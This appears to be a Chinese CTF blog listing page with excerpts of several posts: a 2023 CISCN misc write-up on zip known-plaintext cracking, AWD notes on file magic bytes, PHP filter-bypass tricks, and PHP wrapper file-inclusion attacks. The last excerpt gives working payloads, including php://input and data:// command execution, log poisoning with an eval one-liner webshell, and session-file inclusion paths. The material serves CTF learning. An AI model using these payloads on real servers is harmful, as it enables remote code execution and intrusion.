2023ciscn华中赛区
MISC奇怪的图片(关于ARCHPR的明文爆破)下载附件得到一个打开报错的zip压缩包文件可以用010查看文件有没有可以分离的文件也可以将文件拉入kali内binwalk看一下有没有可以分离的文件
1binwalk 文件名
效果如图但是binwalk自带的分离式没有办法分离出来的所以就需要用foremost分离工具(也在kali内,需要自行安装)
1foremost 文件名
在output内可以看到有zip和jpg两种文件夹,观察发现已有图片的大小和压缩包内文件大小相同,又由于压缩包要密码才能查看图片内容,所以直接使用明文爆破所谓明文爆破,就是压缩包内其中一个文件CRC32效验码与已有文件的CRC32效验码相同,并且名字相同,压缩算法相同,此时便可以使用明文爆破得出密码最后一个图片是一个简单的修改长度,把高度改高就得到flag了
关于参加awd的一些小总结
参加awd的步骤xxxxxxxxxx JPEG (jpg),文件头:FFD8FFPNG (png),文件头:89504E47GIF (gif),文件头:47494638TIFF (tif),文件头:49492A00Windows Bitmap (bmp),文件头:424DCAD (dwg),文件头:41433130Adobe Photoshop (psd),文件头:38425053Rich Text Format (rtf),文件头:7B5C727466XML (xml),文件头:3C3F786D6CHTML (html),文件头:68746D6C3EEmail [thorough only] (eml),文件头:44656C69766572792D646174653AOutlook Express (dbx),文件头:CFAD12FEC5FD746FOutlook (pst),文件头:2142444EMS Word/Excel (xls.or.doc),文件头:D0CF11E0MS Access (mdb),文件头:5374616E64617264204AWordPerfe ...
PHP特性
preg_match()函数1.preg_match()无法处理数组,当需要绕过此函数时可以在参数前增加数组符号即可绕过。
2.preg_match()内会增加一些形态表示过滤的范围。
12例如:preg_match('/^php/im',$a)这个就代表对php大小写进行检测和逐行检查
一共有6种类型(1):i不区分大小写。(2):m多行匹配,若存在换行符/n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配。(3):s特殊字符圆点.中包含换行符.默认的圆点.是匹配除换行符\n之外的任何单字符,加上s之后,.包含换行符。(4):A强制从目标字符串开头匹配(5):D如果使用$限制结束字符,则不允许结尾有换行符。(6):e配合函数preg_replace使用,可以把匹配来的字符串当作正则表达式来执行。
intval()函数1.intval()函数用于获取变量的整数值。
2.intval($t,$f)说明: $t是要进行转换的值 $f转化所使用的进制
如果$f是0,则通过检测$t的格式来决定使用的进制
如果包含了0x的前缀,使用16进制 ...
PHP伪协议
使用命令查看1?file=php://input (包括Php绕过[大写])
抓包post传参
1<?php system("ls /");?>
或者使用data查看
1?file=data://text/plain,<?=system("ls /")?>
日志注入已知日志文件所在地
1?file=/var/log/nginx/access.log
抓包修改useragent为一句话木马
1<?php @eval($_REQUEST[1])?>
关于session文件的注入服务器一般会将sessio文件放入
1234/var/lib/php//var/lib/php/sessions//tmp//tmp/sessions/
直接在根目录下3.php使用post传参(目前销毁session 删除tmp文件夹 过滤< 设置包含路径 都可行)
1<?php system("cd var/www/html;tac fl0g.php"); (类似即可)
d ...